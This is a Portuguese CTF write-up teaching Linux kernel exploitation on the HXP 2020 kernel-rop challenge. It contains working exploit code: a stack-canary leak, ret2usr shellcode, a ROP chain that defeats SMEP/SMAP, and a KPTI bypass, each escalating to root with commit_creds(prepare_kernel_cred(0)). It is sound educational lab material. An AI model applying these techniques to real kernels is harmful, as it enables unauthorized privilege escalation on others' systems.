Kernel pwn (templo7k)

- R3tr0

+------------------------------+ | | | Userland (normie and beta) | | | +------------------------------+ | | | +-------v-------v------v-------+ | | | Kernel (chad and alpha) | | | +------------------------------+ | | | +-------v-------v------v-------+ | | | Hardware (boring real life) | | | +------------------------------+

Introdução

Ao estudar pwn (ou qualquer área dentro de ciências da computação), a simples ideia de Kernel é assustadora, um software que lida diretamente com hardware e precisa resolver diversos problemas extremamente complexos, como manejar filesystems, multi processos divididos simultaneamente entre multi núcleos do processador, paginação de memória, sockets e rede, etc. Com esse nível de complexidade, explorar um software dessa magnitude deve ser quase impossível, não? Pelo contrário, o nível de complexidade e a necessidade de alto desempenho possibilitam a existência de falhas, um problema complexo exige uma solução complexa, e uma solução complexa a longo prazo implica — quase necessariamente — á falhas de segurança.

Para entender como é a anatomia de um exploit para kernel, irei usar um challenge de CTF simples, futuramente podemos trazer a exploração detalhada de uma falha real no Kernel Linux.

Setup ambiente

O challenge mais usado quando queremos introduzir kernel pwn é o kernel-rop do HXP 2020, nele temos uma falha muito simples e obvia que nos permite read/write na stack.

Primeiro vamos nos acostumar como recebemos os arquivos em um chall de kernel:

# Download files $ wget https://2020.ctf.link/assets/files/kernel-rop-bf9c106d45917343.tar.xz $ xz -d kernel-rop-bf9c106d45917343.tar.xz && tar xf kernel-rop-bf9c106d45917343.tar $ echo 'CTF-BR{kernel-is-fun}' > kernel-rop/flag.txt # need for run script

Agora vamos olhar os arquivos que recebemos:

Visto isso, podemos rodar o script de start, o run.sh:

$ ./run.sh ... ___ __ __ ___ __ _ / __\_ _ / _|/ _| ___ _ __ /___\__ _____ _ __ / _| | _____ __ /__\// | | | |_| |_ / _ \ '__| // //\ \ / / _ \ '__| |_| |/ _ \ \ /\ / / / \/ \ |_| | _| _| __/ | / \_// \ V / __/ | | _| | (_) \ V V / _____ _____ ____\_____/\__,_|_| |_| \___|_| \___/ \_/ \___|_| |_| |_|\___/ \_/\_/____ _____ _____ |_____|_____|_____| |_____|_____|_____| __ _____ \ \ / / __| \ V /\__ \ _____ _____ _____ _____ _____ _____ _____ ____\_/ |___/____ _____ _____ _____ _____ _____ _____ _____ _____ |_____|_____|_____|_____|_____|_____|_____|_____| |_____|_____|_____|_____|_____|_____|_____|_____|_____| _ _ _ _ ___ __ /\ /\___ | |_| |_ ___ ___| |_ /\ /\___ _ __ _ __ ___| | / \___ / _| ___ _ __ ___ ___ ___ / /_/ / _ \| __| __/ _ \/ __| __| / //_/ _ \ '__| '_ \ / _ \ | / /\ / _ \ |_ / _ \ '_ \/ __|/ _ \/ __| / __ / (_) | |_| || __/\__ \ |_ / __ \ __/ | | | | | __/ | / /_// __/ _| __/ | | \__ \ __/\__ \ \/ /_/ \___/ \__|\__\___||___/\__| \/ \/\___|_| |_| |_|\___|_| /___,' \___|_| \___|_| |_|___/\___||___/ / $ id uid=1000 gid=1000 groups=1000 / $ ls bin etc init proc sbin usr dev hackme.ko linuxrc root tmp / $

O challenge se baseia neste hackme.ko, ele é um módulo de kernel, usado para carregar código dinamicamente para kernel land.

Agora podemos explorar o initramfs:

$ gzip -d initramfs.cpio.gz $ mkdir -p root && cd root $ cpio -idm < ../initramfs.cpio 2720 blocks $ ls -la total 1704 drwxrwxr-x 7 r3tr0 r3tr0 4096 jul 30 23:19 . drwx------ 3 r3tr0 r3tr0 4096 jul 30 23:18 .. drwxr-xr-x 2 r3tr0 r3tr0 4096 jul 30 23:19 bin drwxr-xr-x 3 r3tr0 r3tr0 4096 jul 30 23:19 etc -rw-r--r-- 1 r3tr0 r3tr0 321016 dez 10 2020 hackme.ko lrwxrwxrwx 1 r3tr0 r3tr0 11 jul 30 23:19 init -> bin/busybox drwxr-xr-x 2 r3tr0 r3tr0 4096 dez 10 2020 root drwxr-xr-x 2 r3tr0 r3tr0 4096 dez 10 2020 sbin drwxr-xr-x 4 r3tr0 r3tr0 4096 jul 30 23:19 usr

É importante extrair o filesystem por vários motivos, como analisar o modulo vulnerável caso não tenha sido fornecido o source(como neste caso) e também modificar o script de init(o path normalmente é /init, mas pode mudar dependendo do setup, como nesse challenge), isso é importante para se tornar root dentro do qemu durante os testes para realizar debugs, extrair endereços, etc.

$ nvim etc/inittab # change "setuidgid 1000 sh" to "setuidgid 0 sh" $ find . -print0 | cpio -o --format=newc --null > ../initramfs_update.cpio $ cd .. $ nvim run.sh # change "-initrd initramfs.cpio.gz" to "-initrd initramfs_update.cpio" $ ./run.sh ... / # id uid=0 gid=0 groups=0

Como root podemos ler arquivos de debug, como:

É também interessante explicar as flags passadas para o qemu no run.sh antes de passar para ideias mais teóricas de kernel, as principais flags são:

Kernel & userland

Em suma, a diferença entre kernel e userland é o nível de privilégio, o kernel possui necessariamente o nível de privilégio mais alto enquanto os usuários tem um acesso restrito, isso não tem nenhuma relação com privilégios de usuários como root ou algo semelhante, esse nível de privilégio está ligado ao poder da CPU, como acessar endereços especiais, escrever e ler de portas IO físicas diretamente e poder executar instruções especiais.

Mas o que exatamente é esse privilégio? A CPU define alguns registradores de controle geral(semelhante ao rflags e o próprio rflags também) e dependendo de alguns bits é permitido essas operações privilegiadas. Na arquitetura x86/x86-64 temos um registrador especial chamado cs(code segment), onde nos 2 LSB’s(least significant bit) temos o CPL(current privilege level), que normalmente possui o valor de 0 ou 3, e então surge os termos ring-0 ou ring-3, esse é apenas um registrador de controle, existem vários como os cr{0..7} e o próprio rflags.

Exploit

Compreendido esses aspectos, iremos voltar para o challenge e analisar a vulnerabilidade.

Vulnerabilidade

O kernel module cria um device em /dev/hackme e implementa handlers para open, read e write, o código é bem simples, então não há muitas dificuldades de compreender oque ele faz:

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off) { ... int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF ... _memcpy(hackme_buf, tmp); if (size > 0x1000) { // """sanity check"""" _warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL, size); BUG(); } _check_object_size(hackme_buf, size, 1LL); if (copy_to_user(data, hackme_buf, size) != 0) return -0xe; return size; }

O código acima parece confuso por conta das funções estranhas, mas é bem simples, em resumo copiamos tmp para hackme_buf, e depois chamamos copy_to_user para o buffer de userland. As funções copy_{to,from}_user são apenas wrappers para memcpy entre buffers de userland e kernel land(removemos temporariamente a proteção mudando o bit 21 do CR4).

ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off) { ... int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF ... if (size > 0x1000) { // """sanity check"""" _warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL, size); BUG(); } _check_object_size(hackme_buf, size, 0LL); if (copy_from_user(hackme_buf, data, size)) return -0xe; _memcpy(tmp, hackme_buf); return size; }

A função de write é bem semelhante, mas na direção contrária, temos um memcpy do buffer de usarland para a stack do kernel. Então, a vulnerabilidade é bem clara, podemos ler e escrever out-off-band na stack, ou seja, um stack overflow e leaks arbitrários.

Em um cenário de userland isso seria trivial, mas não existe system(”/bin/sh”) ou setuid(0) em kernel land, as técnicas de privilege escalation são um pouco diferentes.

ret2usr

Como explicado anteriormente, a ideia de usuários é uma implementação do kernel, então ao conseguir um desvio de fluxo, nosso objeto vai ser transformar as credenciais do nosso processo para uid=0, poderíamos fazer isso manualmente tentando encontrar onde está a struct cred na heap do kernel e sobrescrever o campo uid, mas existem caminhos mais simples aproveitando funções da kernel API, como as usadas para “give root” em rootkits, exemplos: brokepkg, diamorphine e Reptile. Nosso exploit vai ter o objetivo de chamar as seguintes funções commit_creds(prepare_kernel_cred(0));.

Mitigações

Técnica

A técnica ret2usr é bem simples, sem nenhuma das proteções comentadas ativadas, não existe nenhum problema em executar código de userland, mas com os privilégios do kernel, o objetivo é fazer o desvio de fluxo(ret2) para código em userland(usr). Fazendo uma comparação, é como um binário sem NX em userland, podemos escrever um shellcode na stack, mas ao invés de ser na stack, é no código de userland.

Mãos no exploit

Agora vamos para a melhor parte, r00t n0w! Vou acompanhar e comentar cada parte da construção do exploit, neste primeiro todas as mitigações vão estar desligadas (nokaslr, nopti e remover +smep e +smap):

#!/bin/sh qemu-system-x86_64 \ -m 128M \ -cpu kvm64 \ -kernel vmlinuz \ -initrd ./initramfs_update.cpio \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nokaslr nopti quiet panic=1"

O começo do exploit muitas vezes será algo como:

unsigned long bak_cs, bak_rflags, bak_ss, bak_rsp, bak_rip; void bak() { __asm__ volatile( ".intel_syntax noprefix;" "mov bak_cs, cs;" "mov bak_ss, ss;" "mov bak_rsp, rsp;" "pushf;" "pop bak_rflags;" ".att_syntax;"); puts("[+] Registers backed up"); }

Essa é a primeira função que chamamos, basicamente estamos salvando os valores dos registradores mais importantes para o estado do programa, quando voltamos do kernel, todos esses registradores precisam estar na stack.

#define CANARY_OFF 16 void leak() { unsigned long buf[20]; read(dev, buf, sizeof(buf)); // print_dump(buf, 20); cookie = buf[CANARY_OFF]; }

Na função leak, lemos do fd do device vulnerável 160 bytes(sizeof(unsigned long) == 8 * 20) e pegamos o cookie no offset 16, poderíamos chegar nesse offset apenas vendo o print_dump e tentando achar o padrão do cookie — igual em userland, o cookie é muito diferente de um endereço e sempre acaba com 00 — ou com debug.

void write_payload() { unsigned long payload[50]; off_t offset = 16; // finding padding // for (size_t i = 0; i < 50; i++) { // payload[i] = 0x414141414140+i; // } payload[offset++] = cookie; payload[offset++] = 0x0; // rbx payload[offset++] = 0x0; // r12 payload[offset++] = 0x0; // rbp payload[offset++] = (long)shellcode; // return write(dev, payload, sizeof(payload)); }

E a última interação que precisamos com o device é esse write, como temos oob na stack, apenas precisamos chegar até o endereço de retorno e escrever o endereço do nosso shellcode, assim como explicado anteriormente, nesta parte podemos fazer debug para achar o offset ou usar o código comentado, pegamos um valor junk e ver no kernel panic qual o endereço que ocorreu o crash, ou podemos também usar o offset do stack cookie e simplesmente calcular o que vem depois, que são 3 pop’s e o ret.

void bin_sh() { printf("[+] uid: %d\n", getuid()); system("/bin/sh"); } unsigned long bak_rip = (unsigned long)bin_sh; void shellcode() { __asm__ volatile( ".intel_syntax noprefix;" "mov rdi, 0;" "movabs rbx, 0xffffffff814c67f0;" // prepare_kernel_cred "call rbx;" "mov rdi, rax;" "movabs rbx, 0xffffffff814c6410;" // commit_creds "call rbx;" "swapgs;" "mov r15, bak_ss;" "push r15;" "mov r15, bak_rsp;" "push r15;" "mov r15, bak_rflags;" "push r15;" "mov r15, bak_cs;" "push r15;" "mov r15, bak_rip;" "push r15;" "iretq;" ".att_syntax;"); }

Podemos pegar de forma simples esses endereços dentro da VM lendo /proc/kallsyms:

/ # grep 'prepare_kernel_cred\|commit_creds' /proc/kallsyms ffffffff814c6410 T commit_creds ffffffff814c67f0 T prepare_kernel_cred ...

Nosso shellcode é bem simples, sem o KASLR simplesmente pegamos esses endereços que precisamos e chamamos “prepare cred” e “commit creds”, depois de fazer push dos registradores especiais que salvamos no começo e então retornamos para userland como root com a instrução iretq.

Para compilar e colocar dentro da VM podemos fazer isso:

$ gcc -Wall -static -s exploit.c -o root/exp && cd root $ find . -print0 | cpio -o --format=newc --null > ../initramfs_update.cpio

E então rodar o exploit:

./run.sh / ___ __ __ ___ __ _ / __\_ _ / _|/ _| ___ _ __ /___\__ _____ _ __ / _| | _____ __ /__\// | | | |_| |_ / _ \ '__| // //\ \ / / _ \ '__| |_| |/ _ \ \ /\ / / / \/ \ |_| | _| _| __/ | / \_// \ V / __/ | | _| | (_) \ V V / _____ _____ ____\_____/\__,_|_| |_| \___|_| \___/ \_/ \___|_| |_| |_|\___/ \_/\_/____ _____ _____ |_____|_____|_____| |_____|_____|_____| __ _____ \ \ / / __| \ V /\__ \ _____ _____ _____ _____ _____ _____ _____ ____\_/ |___/____ _____ _____ _____ _____ _____ _____ _____ _____ |_____|_____|_____|_____|_____|_____|_____|_____| |_____|_____|_____|_____|_____|_____|_____|_____|_____| _ _ _ _ ___ __ /\ /\___ | |_| |_ ___ ___| |_ /\ /\___ _ __ _ __ ___| | / \___ / _| ___ _ __ ___ ___ ___ / /_/ / _ \| __| __/ _ \/ __| __| / //_/ _ \ '__| '_ \ / _ \ | / /\ / _ \ |_ / _ \ '_ \/ __|/ _ \/ __| / __ / (_) | |_| || __/\__ \ |_ / __ \ __/ | | | | | __/ | / /_// __/ _| __/ | | \__ \ __/\__ \ \/ /_/ \___/ \__|\__\___||___/\__| \/ \/\___|_| |_| |_|\___|_| /___,' \___|_| \___|_| |_|___/\___||___/ / $ /exp [+] Registers backed up [+] Interacting with device [+] uid: 0 / # id uid=0 gid=0 / #

Você pode ler o exploit completo aqui.

Ligando as proteções

Muito fácil, não? Então melhor subir um pouco o nível 😈.

SMAP && SMEP

Como citado nas mitigações, agora não temos mais como executar um shellcode, e se você conhece pwn o suficiente, sabe o que vem depois do shellcode, hora de construir uma ROP-chain! O kernel do linux é muito grande (muito muito muito grande), encontrar gadgets é uma tarefa quase que trivial, nosso objetivo vai ser executar o mesmo que o nosso shellcode: commit_creds(prepare_kernel_cred(0));.

Mudamos o script para:

#!/bin/sh qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd ./initramfs_update.cpio \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nokaslr nopti quiet panic=1"

Para pesquisar os gadgets podemos usar qualquer tool, mas eu prefiro o ROPgadget por ele conseguir encontrar mais gadgets importantes para exploração de kernel, mas é bom guardar o resultado em um arquivo para pesquisa futura, pois é um processo demorado(o ROPgadget pode demorar até 20 minutos em uma máquina não muito potente):

# vmlinux => ELF file, not "boot executable bzImage" $ ROPgadget --binary ./vmlinux > gadgets.txt $ wc -l gadgets.txt 624250 gadgets.txt

Antes de procurar os gadgets precisamos traçar um plano, precisamos essencialmente fazer 3 coisas e depois retornar para userland:

  1. Chamar a prepare_kernel_cred com o argumento 0: pop rdi; ret;
  2. Mover o retorno de prepare_kernel_cred para rdi: mov rdi, rax;
  3. Então chamar commit_creds com o retorno de prepare_kernel_cred: ret;
  4. Por final retornar para userland: swapgs; ret; iretq;

Agora que temos um plano, é hora de ir atrás dos gadgets:

$ grep ': pop rdi ; ret$' gadgets.txt 0xffffffff81006370 : pop rdi ; ret $ grep ': mov rdi, rax' gadgets.txt ... 0xffffffff8166fea3 : mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret ... $ grep ': swapgs' gadgets.txt ... 0xffffffff8100a55f : swapgs ; pop rbp ; ret $ objdump -j .text -d vmlinux | grep iretq | head -1 ffffffff8100c0d9: 48 cf iretq

E simples assim temos todos os gadgets que precisamos, certo? Não exatamente… Não temos gadgets bons para mov rdi, rax, o mais interessante é esse seguido de jne, para não tomar esse pulo será necessário mais um gadget de cmp para forçar que jne seja falso e então seguir o fluxo da ROP-chain.

$ grep ': cmp rdx' gadgets.txt ... 0xffffffff81964cc4 : cmp rdx, 8 ; jne 0xffffffff81964cb3 ; pop rbx ; pop rbp ; ret ... $ grep ': pop rdx ; ret' gadgets.txt 0xffffffff81007616 : pop rdx ; ret ...

E agora sim, temos tudo que será necessario, mãos ao exploit novamente:

unsigned long mov_rdi_rax = 0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret unsigned long pop_rdx_ret = 0xffffffff81007616; // pop rdx ; ret unsigned long cmp_rdx_8 = 0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp ; ret unsigned long pop_rdi = 0xffffffff81006370; // pop rdi; ret unsigned long iretq = 0xffffffff8100c0d9; // iretq unsigned long swapgs = 0xffffffff8100a55f; // swapgs ; pop rbp ; ret unsigned long prepare_kernel_cred = 0xffffffff814c67f0; unsigned long commit_creds = 0xffffffff814c6410;

Coletamos todos os endereços dos gadgets que serão necessários e os endereços das funções também. A unica função diferente do exploit anterior será a write_payload:

void write_payload() { unsigned long payload[50]; off_t offset = 16; // finding padding // for (size_t i = 0; i < 50; i++) { // payload[i] = 0x414141414140+i; // } payload[offset++] = cookie; payload[offset++] = 0x0; // rbx payload[offset++] = 0x0; // r12 payload[offset++] = 0x0; // rbp payload[offset++] = pop_rdi; payload[offset++] = 0x0; payload[offset++] = prepare_kernel_cred; // prepare_kernel_cred(0) payload[offset++] = pop_rdx_ret; // prepare_kernel_cred(0) payload[offset++] = 8; // prepare_kernel_cred(0) payload[offset++] = cmp_rdx_8; // prepare_kernel_cred(0) payload[offset++] = 0; payload[offset++] = 0; payload[offset++] = mov_rdi_rax; payload[offset++] = 0; payload[offset++] = 0; payload[offset++] = commit_creds; // commit_creds(prepare_kernel_cred(0)) payload[offset++] = swapgs; payload[offset++] = 0; payload[offset++] = iretq; payload[offset++] = bak_rip; payload[offset++] = bak_cs; payload[offset++] = bak_rflags; payload[offset++] = bak_rsp; payload[offset++] = bak_ss; write(dev, payload, sizeof(payload)); }

Podemos analisar por partes essa ROP.

Primeiro chamamos a prepare_kernel_cred com 0 como argumento usando pop rdi; ret:

payload[offset++] = cookie; payload[offset++] = 0x0; // rbx payload[offset++] = 0x0; // r12 payload[offset++] = 0x0; // rbp payload[offset++] = pop_rdi; payload[offset++] = 0x0; payload[offset++] = prepare_kernel_cred; // prepare_kernel_cred(0)

Depois usamos as duas instruções que pegamos depois para forçar o jne, com elas colocamos na stack o valor 8 e pop para rdx, e na segunda instrução é feito um cmp rdx, 8.

payload[offset++] = pop_rdx_ret; // prepare_kernel_cred(0) payload[offset++] = 8; // prepare_kernel_cred(0) payload[offset++] = cmp_rdx_8; // prepare_kernel_cred(0)

Agora finalmente conseguimos chamar mov rdi, rax para passar o retorno de prepare_kernel_cred(rax) para o registrador do primeiro argumento(rdi).

// mov rdi, rax ; jne 0xffffffff8166fe73 ; pop rbx ; pop rbp ; ret payload[offset++] = mov_rdi_rax; payload[offset++] = 0; // pop rbx, junk payload[offset++] = 0; // pop rbp, junk payload[offset++] = commit_creds; // commit_creds(prepare_kernel_cred(0))

Por final temos apenas que chamar as últimas instruções de return para userland:

payload[offset++] = swapgs; payload[offset++] = 0; payload[offset++] = iretq; payload[offset++] = bak_rip; payload[offset++] = bak_cs; payload[offset++] = bak_rflags; payload[offset++] = bak_rsp; payload[offset++] = bak_ss;

Agora basta: compilar e executar:

$ gcc -Wall -static -s exploit.c -o root/exp && cd root $ find . -print0 | cpio -o --format=newc --null > ../initramfs_update.cpio && cd .. $ ./run.sh ___ __ __ ___ __ _ / __\_ _ / _|/ _| ___ _ __ /___\__ _____ _ __ / _| | _____ __ /__\// | | | |_| |_ / _ \ '__| // //\ \ / / _ \ '__| |_| |/ _ \ \ /\ / / / \/ \ |_| | _| _| __/ | / \_// \ V / __/ | | _| | (_) \ V V / _____ _____ ____\_____/\__,_|_| |_| \___|_| \___/ \_/ \___|_| |_| |_|\___/ \_/\_/____ _____ _____ |_____|_____|_____| |_____|_____|_____| __ _____ \ \ / / __| \ V /\__ \ _____ _____ _____ _____ _____ _____ _____ ____\_/ |___/____ _____ _____ _____ _____ _____ _____ _____ _____ |_____|_____|_____|_____|_____|_____|_____|_____| |_____|_____|_____|_____|_____|_____|_____|_____|_____| _ _ _ _ ___ __ /\ /\___ | |_| |_ ___ ___| |_ /\ /\___ _ __ _ __ ___| | / \___ / _| ___ _ __ ___ ___ ___ / /_/ / _ \| __| __/ _ \/ __| __| / //_/ _ \ '__| '_ \ / _ \ | / /\ / _ \ |_ / _ \ '_ \/ __|/ _ \/ __| / __ / (_) | |_| || __/\__ \ |_ / __ \ __/ | | | | | __/ | / /_// __/ _| __/ | | \__ \ __/\__ \ \/ /_/ \___/ \__|\__\___||___/\__| \/ \/\___|_| |_| |_|\___|_| /___,' \___|_| \___|_| |_|___/\___||___/ / $ /exp [+] Registers backed up [+] Interacting with device [+] uid: 0 / # id uid=0 gid=0 / #

O exploit completo pode ser encontrado aqui.

KPTI

O KPTI pode ser bypassado de forma trivial, já que o objetivo desta feature é originalmente mitigar vulnerabilidades como Meltdown e Spectre, tanto que quando o KPTI acusa um erro, acontece um segmentation fault em userland e não um kernel panic como as últimas mitigações de kernel, isso acontece porque enquanto não retornamos efetivamente para userland, todas as paginas de fora do kernel são marcadas como no-exec, normalmente existem duas técnicas contornar para isso:

Irei usar essa segunda forma por ser mais simples, para pegar o endereço dessa função basta ler de /proc/kallsyms:

/ # ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

Em exploit’s é normal somar +22 nesse endereço pois o stackframe dessa função é exageradamente grande, então para evitar precisar colocar muitos valores de junk na stack podemos apenas pular isso.

# Inicio da função (gdb) x/20i 0xffffffff81200f10 0xffffffff81200f10 <_stext+2101008>: pop r15 0xffffffff81200f12 <_stext+2101010>: pop r14 0xffffffff81200f14 <_stext+2101012>: pop r13 0xffffffff81200f16 <_stext+2101014>: pop r12 0xffffffff81200f18 <_stext+2101016>: pop rbp 0xffffffff81200f19 <_stext+2101017>: pop rbx 0xffffffff81200f1a <_stext+2101018>: pop r11 0xffffffff81200f1c <_stext+2101020>: pop r10 0xffffffff81200f1e <_stext+2101022>: pop r9 0xffffffff81200f20 <_stext+2101024>: pop r8 0xffffffff81200f22 <_stext+2101026>: pop rax 0xffffffff81200f23 <_stext+2101027>: pop rcx 0xffffffff81200f24 <_stext+2101028>: pop rdx 0xffffffff81200f25 <_stext+2101029>: pop rsi 0xffffffff81200f26 <_stext+2101030>: mov rdi,rsp # <- swapgs_restore+22 0xffffffff81200f29 <_stext+2101033>: mov rsp,QWORD PTR gs:0x6004 0xffffffff81200f32 <_stext+2101042>: push QWORD PTR [rdi+0x30] 0xffffffff81200f35 <_stext+2101045>: push QWORD PTR [rdi+0x28] 0xffffffff81200f38 <_stext+2101048>: push QWORD PTR [rdi+0x20] 0xffffffff81200f3b <_stext+2101051>: push QWORD PTR [rdi+0x18]

A única diferença para o último exploit será isso:

unsigned long prepare_kernel_cred = 0xffffffff814c67f0; unsigned long commit_creds = 0xffffffff814c6410; unsigned long swapgs_restore = 0xffffffff81200f10 + 22; // <- ... payload[offset++] = commit_creds; // commit_creds(prepare_kernel_cred(0)) payload[offset++] = swapgs_restore; // swapgs -> swapgs_restore payload[offset++] = 0; payload[offset++] = 0; // iretq -> 0 payload[offset++] = bak_rip; payload[offset++] = bak_cs; payload[offset++] = bak_rflags; payload[offset++] = bak_rsp; payload[offset++] = bak_ss;

E o script de run agora fica assim:

#!/bin/sh qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd ./initramfs_update.cpio \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nokaslr kpti=1 quiet panic=1"

O exploit completo pode ser encontrado aqui.

KASLR

Em um futuro post a parte será explorado o KASLR, o bypass é mais complexo do que se parece.

Considerações

Kernel é sempre um sistema crítico e com diversos estudos na área, explorar é uma ótima maneira de aprender como esses softwares funcionam por dentro, e entender isso é útil para qualquer área dentro de ciências da computação, principalmente pwn. Para qualquer duvida, feedback ou dificuldade para realizar o challenge não hesite em me contatar. Muito obrigado pelo seu tempo de leitura smile